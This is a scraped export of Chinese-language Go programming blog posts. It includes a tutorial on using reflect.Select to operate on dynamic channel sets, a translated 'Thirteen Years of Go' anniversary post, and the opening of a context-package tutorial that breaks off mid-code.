后，get到一个以前从未用过的“技能点”：使用reflect操作channel，这里整理一下，把它分享给大家。\n1. channel常规语法的“限制” Go语言实现了基于CSP（Communicating Sequential Processes）理论的并发方案。方案包含两个重要元素，一个是Goroutine，它是Go应用并发设计的基本构建与执行单元；另一个就是channel，它在并发模型中扮演着重要的角色。channel既可以用来实现Goroutine间的通信，还可以实现Goroutine间的同步。\n我们先来简要回顾一下有关channel的常规语法。\n我们可以通过make(chan T, n)创建元素类型为T、容量为n的channel类型实例，比如：\nch1 := make(chan int) // 创建一个无缓冲的channel实例ch1 ch2 := make(chan int, 5) // 创建一个带缓冲的channel实例ch2 Go提供了“\u0026lt;-”操作符用于对channel类型变量进行发送与接收操作，下面是一些对上述channel ch1和ch2进行收发操作的代码示例：\nch1 \u0026lt;- 13 // 将整型字面值13发送到无缓冲channel类型变量ch1中 n := \u0026lt;- ch1 // 从无缓冲channel类型变量ch1中接收一个整型值存储到整型变量n中 ch2 \u0026lt;- 17 // 将整型字面值17发送到带缓冲channel类型变量ch2中 m := \u0026lt;- ch2 // 从带缓冲channel类型变量ch2中接收一个整型值存储到整型变量m中 Go不仅提供了单独操作channel的语法，还提供了可以同时对多个channel进行操作的select-case语法，比如下面代码：\nselect { case x := \u0026lt;-ch1: // 从channel ch1接收数据 ... ... case y, ok := \u0026lt;-ch2: // 从channel ch2接收数据，并根据ok值判断ch2是否已经关闭 ... ... case ch3 \u0026lt;- z: // 将z值发送到channel ch3中: ... ... default: // 当上面case中的channel通信均无法实施时，执行该默认分支 } 我们看到：select语法中的case数量必须是固定的，我们只能把事先要交给select“监听”的channel准备好，在select语句中平铺开才可以。这就是select语句常规语法的限制，即select语法不支持动态的case集合。如果我们要监听的channel个数是不确定的，且在运行时会动态变化，那么select语法将无法满足我们的要求。\n那怎么突破这一限制呢？鸟窝老师告诉我们用reflect包。\n2. reflect.Select和reflect.SelectCase 很多朋友可能和我一样，因为没有使用过reflect包操作channel，就会以为reflect操作channel的能力是Go新版本才提供的，但实则不然。reflect包中用于操作channel的函数Select以及其切片参数的元素类型SelectCase早在Go 1.1版本就加入到Go语言中了，有下图为证：\n那么如何使用这一“古老”的机制呢？我们一起来看一些例子。\n首先我们来看第一种情况，也是最好理解的一种情况，即从一个动态的channel集合进行receive operations的select，下面是示例代码：\n// github.com/bigwhite/experiments/tree/master/reflect-operate-channel/select-recv/main.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;math/rand\u0026quot; \u0026quot;reflect\u0026quot; \u0026quot;sync\u0026quot; \u0026quot;time\u0026quot; ) func main() { var wg sync.WaitGroup wg.Add(2) var rchs []chan int for i := 0; i \u0026lt; 10; i++ { rchs = append(rchs, make(chan int)) } // 创建SelectCase var cases = createRecvCases(rchs) // 消费者goroutine go func() { defer wg.Done() for { chosen, recv, ok := reflect.Select(cases) if ok { fmt.Printf(\u0026quot;recv from channel [%d], val=%v\\n\u0026quot;, chosen, recv) continue } // one of the channels is closed, exit the goroutine fmt.Printf(\u0026quot;channel [%d] closed, select goroutine exit\\n\u0026quot;, chosen) return } }() // 生产者goroutine go func() { defer wg.Done() var n int s := rand.NewSource(time.Now().Unix()) r := rand.New(s) for i := 0; i \u0026lt; 10; i++ { n = r.Intn(10) rchs[n] \u0026lt;- n } close(rchs[n]) }() wg.Wait() } func createRecvCases(rchs []chan int) []reflect.SelectCase { var cases []reflect.SelectCase // 创建recv case for _, ch := range rchs { cases = append(cases, reflect.SelectCase{ Dir: reflect.SelectRecv, Chan: reflect.ValueOf(ch), }) } return cases } 在这个例子中，我们通过createRecvCases这个函数创建一个元素类型为reflect.SelectCase的切片，之后使用reflect.Select可以监听这个切片集合，就像常规select语法那样，从有数据的recv Channel集合中随机选出一个返回。\nreflect.SelectCase有三个字段：\n// $GOROOT/src/reflect/value.go type SelectCase struct { Dir SelectDir // direction of case Chan Value // channel to use (for send or receive) Send Value // value to send (for send) } 其中Dir字段的值是一个“枚举”，枚举值如下：\n// $GOROOT/src/reflect/value.go const ( _ SelectDir = iota SelectSend // case Chan \u0026lt;- Send SelectRecv // case \u0026lt;-Chan: SelectDefault // default ) 从常量名我们也可以看出，Dir用于标识case的类型，SelectRecv表示这是一个从channel做receive操作的case，SelectSend表示这是一个向channel做send操作的case；SelectDefault则表示这是一个default case。\n构建好SelectCase的切片后，我们就可以将其传给reflect.Select了。Select函数的语义与select关键字语义是一致的，它会监听传入的所有SelectCase，以上面示例为例，如果所有channel都没有数据，那么reflect.Select会阻塞，直到某个channel有数据或关闭。\nSelect函数有三个返回值：\n// $GOROOT/src/reflect/value.go func Select(cases []SelectCase) (chosen int, recv Value, recvOK bool) 对于上面示例而言，如果监听的某个case有数据了，那么Select的返回值chosen中存储了该channel在cases切片中的下标，recv中存储了从channel收到的值，recvOK等价于comma, ok模式的ok，当正常接收到由send channel操作发送的值时，recvOK为true，如果channel被close了，recvOK为false。\n上面的示例启动了两个goroutine，一个goroutine充当消费者，由reflect.Select监听一组channel，当某个channel关闭时，该goroutine退出；另外一个goroutine则是随机的向这些channel中发送数据，发送10次后，关闭其中某个channel通知消费者退出。\n我们运行一下该示例程序，得到如下结果：\n$go run main.go recv from channel [1], val=1 recv from channel [4], val=4 recv from channel [5], val=5 recv from channel [8], val=8 recv from channel [1], val=1 recv from channel [1], val=1 recv from channel [8], val=8 recv from channel [3], val=3 recv from channel [5], val=5 recv from channel [9], val=9 channel [9] closed, select goroutine exit 我们日常编码时经常会在select语句中加上default分支，以防止select完全阻塞，下面我们就来改造一下示例，让其增加对default分支的支持：\n// github.com/bigwhite/experiments/tree/master/reflect-operate-channel/select-recv-with-default/main.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;math/rand\u0026quot; \u0026quot;reflect\u0026quot; \u0026quot;sync\u0026quot; \u0026quot;time\u0026quot; ) func main() { var wg sync.WaitGroup wg.Add(2) var rchs []chan int for i := 0; i \u0026lt; 10; i++ { rchs = append(rchs, make(chan int)) } // 创建SelectCase var cases = createRecvCases(rchs, true) // 消费者goroutine go func() { defer wg.Done() for { chosen, recv, ok := reflect.Select(cases) if cases[chosen].Dir == reflect.SelectDefault { fmt.Println(\u0026quot;choose the default\u0026quot;) continue } if ok { fmt.Printf(\u0026quot;recv from channel [%d], val=%v\\n\u0026quot;, chosen, recv) continue } // one of the channels is closed, exit the goroutine fmt.Printf(\u0026quot;channel [%d] closed, select goroutine exit\\n\u0026quot;, chosen) return } }() // 生产者goroutine go func() { defer wg.Done() var n int s := rand.NewSource(time.Now().Unix()) r := rand.New(s) for i := 0; i \u0026lt; 10; i++ { n = r.Intn(10) rchs[n] \u0026lt;- n } close(rchs[n]) }() wg.Wait() } func createRecvCases(rchs []chan int, withDefault bool) []reflect.SelectCase { var cases []reflect.SelectCase // 创建recv case for _, ch := range rchs { cases = append(cases, reflect.SelectCase{ Dir: reflect.SelectRecv, Chan: reflect.ValueOf(ch), }) } if withDefault { cases = append(cases, reflect.SelectCase{ Dir: reflect.SelectDefault, Chan: reflect.Value{}, Send: reflect.Value{}, }) } return cases } 在这个示例中，我们的createRecvCases函数增加了一个withDefault布尔型参数，当withDefault为true时，返回的cases切片中将包含一个default case。我们看到，创建defaultCase时，Chan和Send两个字段需要传入空的reflect.Value。\n在消费者goroutine中，我们通过选出的case的Dir字段是否为reflect.SelectDefault来判定是否default case被选出，其余的处理逻辑不变，我们运行一下这个示例：\n$go run main.go recv from channel [8], val=8 recv from channel [8], val=8 choose the default choose the default choose the default choose the default choose the default recv from channel [1], val=1 choose the default choose the default choose the default recv from channel [3], val=3 recv from channel [6], val=6 choose the default choose the default recv from channel [0], val=0 choose the default choose the default choose the default recv from channel [5], val=5 recv from channel [2], val=2 choose the default choose the default choose the default recv from channel [2], val=2 choose the default choose the default recv from channel [2], val=2 choose the default choose the default channel [2] closed, select goroutine exit 我们看到，default case被选择的几率还是蛮大的。\n最后，我们再来看看如何使用reflect包向channel中发送数据，看下面示例代码：\n// github.com/bigwhite/experiments/tree/master/reflect-operate-channel/select-send/main.go package main import ( \u0026quot;fmt\u0026quot; \u0026quot;reflect\u0026quot; \u0026quot;sync\u0026quot; ) func main() { var wg sync.WaitGroup wg.Add(2) ch0, ch1, ch2 := make(chan int), make(chan int), make(chan int) var schs = []chan int{ch0, ch1, ch2} // 创建SelectCase var cases = createCases(schs) // 生产者goroutine go func() { defer wg.Done() for range cases { chosen, _, _ := reflect.Select(cases) fmt.Printf(\u0026quot;send to channel [%d], val=%v\\n\u0026quot;, chosen, cases[chosen].Send) cases[chosen].Chan = reflect.Value{} } fmt.Println(\u0026quot;select goroutine exit\u0026quot;) return }() // 消费者goroutine go func() { defer wg.Done() for range schs { var v int select { case v = \u0026lt;-ch0: fmt.Printf(\u0026quot;recv %d from ch0\\n\u0026quot;, v) case v = \u0026lt;-ch1: fmt.Printf(\u0026quot;recv %d from ch1\\n\u0026quot;, v) case v = \u0026lt;-ch2: fmt.Printf(\u0026quot;recv %d from ch2\\n\u0026quot;, v) } } }() wg.Wait() } func createCases(schs []chan int) []reflect.SelectCase { var cases []reflect.SelectCase // 创建send case for i, ch := range schs { n := i + 100 cases = append(cases, reflect.SelectCase{ Dir: reflect.SelectSend, Chan: reflect.ValueOf(ch), Send: reflect.ValueOf(n), }) } return cases } 在这个示例中，我们针对三个channel：ch0，ch1和ch2创建了写操作的SelectCase，每个SelectCase的Send字段都被赋予了要发送给该channel的值，这里使用了“100+下标号”。\n生产者goroutine中有一个“与众不同”的地方，那就是每次某个写操作触发后，我都将该SelectCase中的Chan重置为一个空Value，以防止下次该channel被重新选出：\ncases[chosen].Chan = reflect.Value{} 运行一下该示例，我们得到：\n$go run main.go recv 101 from ch1 send to channel [1], val=101 send to channel [0], val=100 recv 100 from ch0 recv 102 from ch2 send to channel [2], val=102 select goroutine exit 通过上面的几个例子我们看到，reflect.Select有着与select等价的语义，且还支持动态增删和修改case，功能不可为不强大，现在还剩一点要care，那就是它的执行性能如何呢？我们接着往下看。\n3. reflect.Select的性能 我们用benchmark test来对比一下常规select与reflect.Select在执行性能上的差别，下面是benchmark代码：\n// github.com/bigwhite/experiments/tree/master/reflect-operate-channel/select-benchmark/benchmark_test.go package main import ( \u0026quot;reflect\u0026quot; \u0026quot;testing\u0026quot; ) func createCases(rchs []chan int) []reflect.SelectCase { var cases []reflect.SelectCase // 创建recv case for _, ch := range rchs { cases = append(cases, reflect.SelectCase{ Dir: reflect.SelectRecv, Chan: reflect.ValueOf(ch), }) } return cases } func BenchmarkSelect(b *testing.B) { var c1 = make(chan int) var c2 = make(chan int) var c3 = make(chan int) go func() { for { c1 \u0026lt;- 1 } }() go func() { for { c2 \u0026lt;- 2 } }() go func() { for { c3 \u0026lt;- 3 } }() b.ReportAllocs() b.ResetTimer() for i := 0; i \u0026lt; b.N; i++ { select { case \u0026lt;-c1: case \u0026lt;-c2: case \u0026lt;-c3: } } } func BenchmarkReflectSelect(b *testing.B) { var c1 = make(chan int) var c2 = make(chan int) var c3 = make(chan int) go func() { for { c1 \u0026lt;- 1 } }() go func() { for { c2 \u0026lt;- 2 } }() go func() { for { c3 \u0026lt;- 3 } }() chs := createCases([]chan int{c1, c2, c3}) b.ReportAllocs() b.ResetTimer() for i := 0; i \u0026lt; b.N; i++ { _, _, _ = reflect.Select(chs) } } 运行一下该benchmark：\n$go test -bench . goos: darwin goarch: amd64 pkg: github.com/bigwhite/experiments/reflect-operate-channel/select-benchmark ... ... BenchmarkSelect-8 2765396 427.8 ns/op 0 B/op 0 allocs/op BenchmarkReflectSelect-8 1839706 806.0 ns/op 112 B/op 6 allocs/op PASS ok github.com/bigwhite/experiments/reflect-operate-channel/select-benchmark 3.779s 我们看到：reflect.Select的执行效率相对于select还是要差的，并且在其执行过程中还要做额外的内存分配。\n4. 小结 本文介绍了reflect.Select与SelectCase的结构以及如何使用它们在不同场景下操作channel。但大多数情况下，我们是不需要使用reflect.Select，常规select语法足以满足我们的要求。并且reflect.Select有对cases数量的约束，最大支持65536个cases，虽然这个约束对于大多数场合而言足够用了。\n本文涉及的示例源码可以在这里下载。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/11/15/using-reflect-to-manipulate-channels/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/using-reflect-to-manipulate-channels-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/11/15/using-reflect-to-manipulate-channels\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/11/15/using-reflect-to-manipulate-channels\"\u003ehttps://tonybai.com/2022/11/15/using-reflect-to-manipulate-channels\u003c/a\u003e\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e今年教师节极客时间送给讲师4999 SVIP卡，一直没顾过来用，上周激活后在极客时间的众多精品课和专栏中徜徉，收获颇丰。尤其是在拜读鸟窝老师的\u003ca href=\"http://gk.link/a/11OCq\"\u003e《Go并发编程实战课》\u003c/a\u003e 后，get到一个以前从未用过的“技能点”：\u003cstrong\u003e使用reflect操作channel\u003c/strong\u003e，这里整理一下，把它分享给大家。\u003c/p\u003e","title":"使用反射操作channel"},{"content":"\n本文永久链接 – https://tonybai.com/2022/11/11/go-opensource-13-years\n在中华大地的老百姓抱着手机进行双十一购物节狂欢，忙着支付尾款和秒杀的时候，Go核心团队的Russ Cox代表Go语言项目团队在Go官博上发表了《Thirteen Years of Go》的博文，纪念Go语言开源13周年，并对2021年以来Go语言的演进进行了归纳总结，对Go在其第14个年头将要做的改进也做了简单的说明。这里对博文做简单翻译，供大家参考。\n今天，我们庆祝Go开源版本的十三岁生日。从今天起，Go将正式步入青少年阶段！\n译注：teenager：青少年；13岁到19岁的年轻人\n对于Go来说，过去的一年是不平凡的一年。在这一年里发生的最重要的事件是Go 1.18版本在3月份的发布，这个版本带来了许多改进，其中最显着的是Go工作区、模糊测试和Go泛型。\nGo工作区使得同时处理多个module变得容易，尤其是当你维护一组彼此有依赖关系的module时。若要了解Go工作区，请参阅Beth Brown的博客文章“熟悉工作区”和工作区参考文档。\n模糊测试(Fuzzing)是一个新功能特性，它可以帮助你查找出代码无法正确处理的输入。你只需定义一个接受任何输入数据的模糊测试，然后模糊测试会尝试不同的随机输入，这个过程由代码覆盖率指导，并努力尝试使模糊测试执行失败。在开发对任意输入（甚至是攻击者控制的输入）具有鲁棒性的代码时，模糊测试尤其有用。若要了解有关模糊测试的详细信息，请参阅教程“模糊测试入门”和模糊测试参考文档，并留意凯蒂·霍克曼(Katie Hockman)在GopherCon 2022上的演讲“Fuzzing Test made Easy”，这个演进的视频应该很快就会上线的。\n泛型，很可能是Go开发者最需要的功能特性(译注：来自Go官方调查数据)，它在Go中增加了参数多态性机制，以支持编写可适配各种不同类型的代码，并且仍不会失去编译时静态检查的保证。要了解有关泛型的更多信息，请参阅教程“泛型入门”。更多详细信息，请参阅博客文章《泛型简介》 和“何时使用泛型”，或是来自Go Day 2021年谷歌开源直播“在Go中使用泛型”以及来自GopherCon 2021由Robert Griesemer和Ian Lance Taylor共同的演讲“Generics”。\n与Go 1.18版本相比，今年8月份发布的Go 1.19版本显得有些波澜不惊，这与该版本专注于完善和改进Go 1.18引入的功能特性以及内部稳定性改进和优化不无关系。Go 1.19的一个明显变化是增加了支持Go文档注释中的链接、列表和标题。另一个则是为垃圾回收器添加了软内存限制(soft memory limit)，这在容器工作负载中特别有用。有关最近的垃圾回收器改进的更多信息，参见Michael Knyszek的博客文章“Go Runtime：4 Years later”、他的演讲“Respecting Memory Limits in Go” 以及新的“Go垃圾收集器指南”。\n我们一直努力让Go代码开发可以更优雅的扩展，支持更大规模的代码库，我们在VS Code Go和Gopls语言服务器上的工作就致力于此。今年，Gopls的工作聚焦于提高稳定性和性能，同时提供了对泛型以及新的代码分析的支持。如果你还没有使用VS Code Go或Gopls，不妨尝试一下。可以看看苏茜·穆勒(Suzy Mueller)的演讲“使用Go编辑器构建更好的项目”。 作为奖励，在VS Code 中调试Go通过Delve原生对调试适配器协议(Debug Adapter Protocol)支持而变得更加可靠和强大。最后试试苏茜的《调试寻宝记》吧！\n开发规模的另一部分是项目中依赖项的数量。Go 12岁生日后的一个月左右，Log4shell漏洞的出现为行业敲响警钟，关于供应链安全的重要性得以提升。Go的module系统是专门为此而设计的，帮助您了解和跟踪依赖项，确定您正在使用哪些特定的依赖，并确定其中是否有任何已知漏洞。菲利波·瓦尔索达的博客文章“如何缓解供应链攻击” 概述了我们的方法。9月，我们通过Julie Qiu的博客文章“Vulnerability Management for Go”发布了Go漏洞管理方法预览版，这项工作的核心是一个新的、精心策划的漏洞数据库 和一个新的govulncheck命令，它使用高级静态分析来消除大多数误报。\n我们为了了解Go用户而付出的努力之一是我们的年度Go年终调查。今年，我们的用户体验研究人员还增加了一个轻量级的年中Go调查。我们的目标是收集足够的回复，使其具有统计意义，而这也不会成为整个Go社区的负担。有关结果，请参阅Alice Merrick的博客文章“Go开发者调查2021年结果”和托德·库列萨的文章“Go开发者调查2022 年第二季度结果”。\n随着世界开始恢复更多地旅行，我们也很高兴在2022年的Go技术会议上亲自见到你们中的许多人，特别是7月在柏林举行的GopherCon欧洲大会和10月在芝加哥举行的GopherCon。上周，我们在谷歌开源直播上举办了一年一度的虚拟活动Go Day。 以下是我们在这些活动上的一些演讲：\nGo是如何成为最好的自己的， 作者：Cameron Balahan，在GopherCon Europe。 “Go团队Q\u0026amp;A”， 与Cameron Balahan，Michael Knyszek和Than McIntosh一起在GopherCon欧洲。 “兼容性：Go程序如何保持工作”， 作者：Russ Cox at GopherCon。 “Go整体体验”， 作者：Cameron Balahan在GopherCon（视频尚未发布） “Go语言的结构化日志包”， 作者：Jonathan Amsterdam 在 Go Day 上 Google Open Source Live “使用Go更快、更安全地编写应用程序”， 作者：Cody Oss 在 Go Day 上 Google Open Source Live “Go中的内存限制， 作者：Michael Knyszek 在Go Day上 Google Open Source Live 今年的另一个里程碑是出版了“Go编程语言和环境”， 作者是Russ Cox、Robert Griesemer、Rob Pike、Ian Lance Taylor和Ken Thompson，文章发表在“ACM通信”中。 这篇文章，由Go的原始设计者和实现者解释了我们认为是什么让Go如此受欢迎和富有成效。 简而言之，Go 的工作重点是提供完整的开发环境。针对整个软件开发过程，重点是扩展到大型软件工程工作和大型部署。\n在Go的第14个年头，我们将继续努力使Go成为用于大规模软件工程的最好的环境。我们计划特别关注供应链安全，提高兼容性和结构化日志记录，所有这些都已在这篇文章中有链接。当然还会有很多其他改进，包括profile-guided optimization等。\n谢谢！Go一直远远超过Google的Go团队所做的。感谢你们所有人——我们的贡献者和Go社区中的每个人——感谢您的帮助使Go成为今天的成功编程环境。我们祝愿你在来年一切顺利。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/11/11/go-opensource-13-years/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-opensource-13-years-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/11/11/go-opensource-13-years\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/11/11/go-opensource-13-years\"\u003ehttps://tonybai.com/2022/11/11/go-opensource-13-years\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e在中华大地的老百姓抱着手机进行双十一购物节狂欢，忙着支付尾款和秒杀的时候，Go核心团队的Russ Cox代表Go语言项目团队在Go官博上发表了\u003ca href=\"https://go.dev/blog/13years\"\u003e《Thirteen Years of Go》\u003c/a\u003e的博文，纪念Go语言开源13周年，并对2021年以来Go语言的演进进行了归纳总结，对Go在其第14个年头将要做的改进也做了简单的说明。这里对博文做简单翻译，供大家参考。\u003c/p\u003e","title":"Go，13周年[译]"},{"content":"\n原weibo账号处于jy状态，临时先用小号 https://weibo.com/u/6484441286，欢迎大家关注！ “Gopher部落”知识星球双十一新人特惠，领劵加入即享立减88元优惠 – https://t.zsxq.com/078E1QTjM 本文永久链接 – https://tonybai.com/2022/11/08/understand-go-context-by-example\n自从context包在Go 1.7版本加入Go标准库，它就成为了Go标准库中较难理解和易误用的包之一。在我的博客中目前尚未有一篇系统介绍context包的文章，很多来自Go专栏或《Go语言精进之路》的读者都希望我能写一篇介绍context包的文章，今天我就来尝试一下^_^。\n1. context包入标准库历程 2014年，Go团队核心成员Sameer Ajmani在Go官博上发表了一篇文章“Go Concurrency Patterns: Context”，介绍了Google内部设计和实现的一个名为context的包以及该包在Google内部实践后得出的一些应用模式。随后，该包被开源并放在golang.org/x/net/context下维护。两年后，也就是2016年，golang.org/x/net/context包正式被挪入Go标准库，这就是目前Go标准库context包的诞生历程。\n历史经验告诉我们：但凡Google内部认为是好东西的，基本上最后都进入到Go语言或标准库当中了。context包就是其中之一，后续Go 1.9版本加入的type alias语法也印证了这一点。可以预测：即将于Go 1.20版本以实验特性身份加入的arena包离最终正式加入Go也只是时间问题了^_^！\n2. context包解决的是什么问题？ 正确定义问题比解决问题更重要。在Sameer Ajmani的文章中，他在一开篇就对引入context包要解决的问题做了明确的阐述：\n在Go服务器中，每个传入的请求都在自己的goroutine中处理。请求的处理程序经常启动额外的goroutine来访问后端服务，如数据库和RPC服务。处理一个请求的一组goroutine通常需要访问该请求相关的特定的值，比如最终用户的身份、授权令牌和请求的deadline等。当一个请求被取消或处理超时时，所有在该请求上工作的goroutines应该迅速退出，以便系统可以回收他们正在使用的任何资源。\n从这段描述中，我至少get到两点：\n传值 后端服务程序有这样的需求，即在处理某请求的函数(Handler Function)中调用其他函数时，传递与请求相关的(request-specific)、请求内容之外的值信息(以下称之为上下文中的值信息)，如下图所示：\n我们看到：这种函数调用以及传值可以发生在同一goroutine的函数之间(比如上图中的Handler函数调用middleware函数)、同一进程的多个goroutine之间(如被调用函数创建了新的goroutine)，甚至是不同进程的goroutine之间(比如rpc调用)。\n控制 同一goroutine下因处理外部请求(request)而发生函数调用时，如果被调用的函数(callee)并没有启动新goroutine或进行跨进程的处理(如rpc调用)，这时更多的是在函数间传值，即传递上下文中的值信息。\n但当被调用的函数(callee)启动新goroutine或进行跨进程处理时，这通常会是一种异步调用。为什么要启动新goroutine进行异步调用呢？更多是为了控制。如果是同步调用，一旦被调用方出现延迟或故障，这次调用很可能长期阻塞，调用者自身既无法消除这种影响，也不能及时回收掉处理这次请求所申请的各种资源，更无法保证服务接口之间的SLA。\n注意：调用者与被调用者之间可以是同步调用，也可以是异步调用，而被调用者则通常启动新的goroutine来实现一种“异步调用”。\n那么怎么控制异步调用呢？这回我们在调用者与被调用者之间传递的不再是一种值信息，而是一种“默契”，即一种控制机制，如下图所示：\n当被调用者在调用者的限定时间内完成任务，调用成功，被调用者释放所有资源；当被调用者无法在限定时间内完成或被调用者收到调用者取消调用的通知时，也能结束调用并释放资源。\n接下来，我们就来看看Go标准库context包是如何解决上述两个问题的。\n3. context包的构成 Go将对上面两个问题“传值与控制”的解决方案统一放到了context包下的一个名为Context接口类型中了：\n// $GOROOT/src/context/context.go type Context interface { Deadline() (deadline time.Time, ok bool) Done() \u0026lt;-chan struct{} Err() error Value(key any) any } 注：“上下文”本没有统一标准，很多第三方包也有自己Context的定义，但Go 1.7之后都逐渐转为使用Go标准库的context.Context了。\n如果你读懂了前面context包要解决的问题，你大致也能将Context接口类型中的方法分为两类，第一类就是Value方法，用于解决“传值”的问题；其他三个方法(Deadline、Done和Err)划归为第二类，用于解决“传递控制”的问题。\n如果仅仅是定义Context这样一个接口类型，统一了对Context的抽象，那事情就未得到彻底解决(但也比log包做的要好了)，Go context包“好人做到底”，还提供了一系列便利的函数以及若干内置的Context接口的实现。下面我们逐一来看一下。\n1) WithValue函数 首先我们看一下用于传值的WithValue函数。\n// $GOROOT/src/context/context.go func WithValue(parent Context, key, val any) Context WithValue函数基于parent Context创建一个新的Context，这个新的Context既保存了一份parent Context的副本，同时也保存了WithValue函数接受的那个key-val对。 WithValue其实返回一个名为*valueCtx类型的实例，*valueCtx实现了Context接口，它由三个字段组成：\n// $GOROOT/src/context/context.go type valueCtx struct { Context key, val any } 结合WithValue的实现逻辑，valueCtx中的Context被赋值为parent Context，key和val分别保存了WithValue传入的key和val。\n在新Context创建成功后，处理函数后续将基于该新Context进行上下文中的值信息的传递，我们来看一个例子：\n// github.com/bigwhite/experiments/tree/master/context-examples/with_value/main.go package main import ( \u0026quot;context\u0026quot; \u0026quot;fmt\u0026quot; ) func f3(ctx context.Context, req any) { fmt.Println(ctx.Value(\u0026quot;key0\u0026quot;)) fmt.Println(ctx.Value(\u0026quot;key1\u0026quot;)) fmt.Println(ctx.Value(\u0026quot;key2\u0026quot;)) } func f2(ctx context.Context, req any) { ctx2 := context.WithValue(ctx, \u0026quot;key2\u0026quot;, \u0026quot;value2\u0026quot;) f3(ctx2, req) } func f1(ctx context.Context, req any) { ctx1 := context.WithValue(ctx, \u0026quot;key1\u0026quot;, \u0026quot;value1\u0026quot;) f2(ctx1, req) } func handle(ctx context.Context, req any) { ctx0 := context.WithValue(ctx, \u0026quot;key0\u0026quot;, \u0026quot;value0\u0026quot;) f1(ctx0, req) } func main() { rootCtx := context.Background() handle(rootCtx, \u0026quot;hello\u0026quot;) } 在上面这段代码中，handle是负责处理“请求”的入口函数，它接受一个由main函数创建的root Context以及请求内容本身(“hello”)，之后handle函数基于传入的ctx，通过WithValue函数创建了一个包含了自己附加的key0-value0对的新Context，这个新Context将在调用f1函数时作为上下文传给f1；依次类推，f1、f2都基于传入的ctx通过WithValue函数创建了包含自己附加的值信息的新Context，在函数调用链的末端，f3通过Context的Value方法从传入的ctx中尝试取出上下文中的各种值信息，我们用一幅示意图来展示一下这个过程：\n我们运行一下上述代码看看结果：\n$go run main.go value0 value1 value2 我们看到，f3不仅从上下文中取出了f2附加的key2-value2，还可以取出handle、f1等函数附加的值信息。这得益于满足Context接口的*valueCtx类型“顺藤摸瓜”的实现：\n// $GOROOT/src/context/context.go func (c *valueCtx) Value(key any) any { if c.key == key { return c.val } return value(c.Context, key) } func value(c Context, key any) any { for { switch ctx := c.(type) { case *valueCtx: if key == ctx.key { return ctx.val } c = ctx.Context case *cancelCtx: if key == \u0026amp;cancelCtxKey { return c } c = ctx.Context case *timerCtx: if key == \u0026amp;cancelCtxKey { return \u0026amp;ctx.cancelCtx } c = ctx.Context case *emptyCtx: return nil default: return c.Value(key) } } } 我们看到在*valueCtx case中，如果key与当前ctx的key不同，就会继续沿着parent Ctx路径继续查找，直到找到为止。\n我们看到：WithValue用起来不难，也好理解。不过由于每个valueCtx仅能保存一对key-val，这样即便在一个函数中添加多个值信息，其使用模式也必须是这样的：\nctx1 := WithValue(parentCtx, key1, val1) ctx2 := WithValue(ctx1, key2, val2) ctx3 := WithValue(ctx2, key3, val3) nextCall(ctx3, req) 而不能是\nctx1 := WithValue(parentCtx, key1, val1) ctx1 = WithValue(parentCtx, key2, val2) ctx1 = WithValue(parentCtx, key3, val3) nextCall(ctx1, req) 否则ctx1中仅会保存最后一次的key3-val3的信息，而key1、key2都会被覆盖掉。\nvalueCtx的这种设计也导致了Value方法的查找key的效率不是很高，是个O(n)的查找。在一些对性能敏感的Web框架中，valueCtx和WithValue可能难有用武之地。\n在上面的例子中，我们说到了root Context，下面简单说一下root Context的构建。\n2) root Context构建 root Context，也称为top-level Context，即最顶层的Context，通常在main函数、初始化函数、请求处理的入口(某个Handle函数)中创建。 Go提供了两种root Context的构建方法Background和TODO：\n// $GOROOT/src/context/context.go var ( background = new(emptyCtx) todo = new(emptyCtx) 